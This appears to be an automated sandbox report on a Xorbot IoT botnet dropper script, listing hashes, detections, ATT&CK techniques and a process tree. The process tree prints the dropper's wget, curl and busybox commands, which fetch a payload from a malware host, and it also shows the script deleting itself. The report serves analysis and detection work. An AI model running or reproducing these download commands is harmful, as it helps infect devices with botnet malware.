xorbot | e0c5c9dc999c2ee0daea5cbf1fc7994356979631e611157f420c261e19225f20

Analysis

max time kernel
137s
max time network
150s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
01-12-2024 10:34

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General

Target

bins.sh
Size

10KB
MD5

f84f95a5867eb76b279c716d6d2adb86
SHA1

dd07fb31c48c4e26a796f1bd78c7da85ad1bcf4a
SHA256

e0c5c9dc999c2ee0daea5cbf1fc7994356979631e611157f420c261e19225f20
SHA512

d83ed19c16c48a063f350e5774707c2cdd72abb1992365838f9b92d35bc6661c5629ef778ee16574996f4eef9d285056e1ea2a1ef631fc0035f5ccda521848b4
SSDEEP

96:YWGtG2PwLA8KLNNIl4l0lJFuwBsw+yKFXZLYU9L+uvHwssFUlBl5laLi6Osi5iRD:pWeIp9gFu3/aCHAoS/kamZAoks3/S

Score

10^/10

xorbot botnet discovery trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral3/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

Reads runtime system information 1 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

curl

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

Processes:

wgetcurlbusybox

pid	Process
706	wget
807	curl
810	busybox

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurl

description	ioc	Process
File opened for modification	/tmp/mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb	wget
File opened for modification	/tmp/mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:698
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:704
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:706
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:807
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
  2⤵
  - System Network Configuration Discovery
  PID:810

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

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